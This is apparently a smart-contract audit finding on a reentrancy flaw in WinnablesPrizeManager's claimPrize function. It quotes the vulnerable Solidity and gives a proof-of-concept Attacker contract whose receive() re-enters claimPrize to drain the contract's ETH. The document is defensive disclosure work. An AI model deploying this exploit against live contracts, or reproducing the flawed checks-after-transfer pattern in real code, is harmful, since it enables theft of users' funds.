Merry Plastic Poodle

High

# `WinnablePrizeManager::claimPrize` is vulnerable to reentrancy attacks, allowing a raffle winner to drain `prizeManager`

## Summary
## Vulnerability Detail
winner of a raffle round is able to call `WinnablePrizeManager::claimPrize` to claim the prize, however, there is a reentrany vulnerability which allows the attacker to claim all the ETH or token (if it calls receiver) balance of `PrizeManager`.
if we look at `claimPrize` function we can see that `checks-effect-interaction` pattern is not implemented correctly, such that the state changes which prevent `claimPrize` function from being called again are updated at the end of the function, after sending prize to the winner:
```solidity
    function claimPrize(uint256 raffleId) external {
        RafflePrize storage rafflePrize = _rafflePrize[raffleId];
        RaffleType raffleType = rafflePrize.raffleType;
       
        //@audit-info first, send rewards
        if (raffleType == RaffleType.NFT) {
            NFTInfo storage raffle = _nftRaffles[raffleId];
            _nftLocked[raffle.contractAddress][raffle.tokenId] = false;
            _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender);
        } else if (raffleType == RaffleType.TOKEN) {
            TokenInfo storage raffle = _tokenRaffles[raffleId];
            unchecked {
                _tokensLocked[raffle.tokenAddress] -= raffle.amount;
            }
            _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender);
        } else if (raffleType == RaffleType.ETH) {
            unchecked {
                _ethLocked -= _ethRaffles[raffleId];
            }
            _sendETHPrize(_ethRaffles[raffleId], msg.sender);
        } else revert InvalidRaffle();

        //@audit-info do state changes here
        if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();
        if (rafflePrize.status == RafflePrizeStatus.CLAIMED)
            revert AlreadyClaimed();
        rafflePrize.status = RafflePrizeStatus.CLAIMED;
        emit PrizeClaimed(raffleId, msg.sender);
    }
```
for simplicity lets assume that Alice won `1 ETH` in the `raffleId` of `2` and ETH balance of `PrizeManager` is `5 ETH`:

1- Alice creates two contracts with same address on ETH and avalanche chain, the avalanche version is used to purchase tickets:
`Attacker.sol` on avalanche:
```solidity
//SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import {WinnablesPrizeManager} from "./WinnablesPrizeManager.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract Attacker {
    WinnablesPrizeManager prizeManager;
    uint public round;
    uint public prizeAmount;

    constructor(address manager) {
        prizeManager = WinnablesPrizeManager(manager);
    }

    function buyTickets() public payable {
        //purchase tickets on avalanch
    }

    function callRefund() public payable {
        //purchase tickets on avalanch
    }

    function withdrawTokens() public payable {
        //withdraw tokens
    }

    function withdrawETH() public payable {
        //withdraw ETH
    }

    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC1155Receiver.onERC1155Received.selector;
    }
}
```
and `ETH` version is used to claim the prize, in case that she won it:

```solidity
//SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

import {WinnablesPrizeManager} from "./WinnablesPrizeManager.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract Attacker {
    WinnablesPrizeManager prizeManager;
    uint public round;
    uint public prizeAmount;

    constructor(address manager) {
        prizeManager = WinnablesPrizeManager(manager);
    }

    function withrawETH() public {
        //withdraw ETH
    }

    function withrawTokens() public {
        //withdraw tokens
    }

    function claimReward(uint _id, uint _prizeAmount) public {
        round = _id;
        prizeAmount = _prizeAmount;
        prizeManager.claimPrize(round);
    }

    receive() external payable {
        //claim prize again
        if (address(prizeManager).balance > prizeAmount) {
            prizeManager.claimPrize(round);
        }
    }
}
```
2- Alice buys tickets using the avalanche version
3- Alice won the prize, she calls `Attacker.sol::claimReward` on the `ETH` chain passing `2` as `_id` and `1 ETH` as the `_prizeAmount`
4- `WinnablesPrizeManager::claimPrize` is called, Since `RaffleType` is `ETH`, `1 ETH` is sent to Attacker.sol:
```solidity
         else if (raffleType == RaffleType.ETH) {
            unchecked {
                _ethLocked -= _ethRaffles[raffleId];
            }
            _sendETHPrize(_ethRaffles[raffleId], msg.sender);
        }
```
5- if we look at `_sendETHPrize` we can see that it calls msg.sender:
```solidity
    function _sendETHPrize(uint256 amount, address winner) internal {
        (bool success, ) = winner.call{value: amount}("");
        if (!success) revert ETHTransferFail();
    }
```
6- `receive` function of `Attacker` contract is called, `Attacker` calls `WinnablesPrizeManager::claimPrize` again.
7- `WinnablesPrizeManager` sends another `ETH` To `Attacker` contract, this loop continues until `PrizeManager` doesn't have enough `ETH`
8- at the end of `claimPrize` function, `rafflePrize.status` is set to `CLAIMED` which prevents this function from being called again, however, this state change must have been at the beginning of the function, not at the end:
```solidity
        if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();
        if (rafflePrize.status == RafflePrizeStatus.CLAIMED)
            revert AlreadyClaimed();
        rafflePrize.status = RafflePrizeStatus.CLAIMED;
        emit PrizeClaimed(raffleId, msg.sender);
```

## Impact
A malicious contract can drain whole ETH or token balance of the PrizeManager

## Code Snippet
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124

## Tool used

Manual Review

## Recommendation
use a reentrancy guard for PrizeManager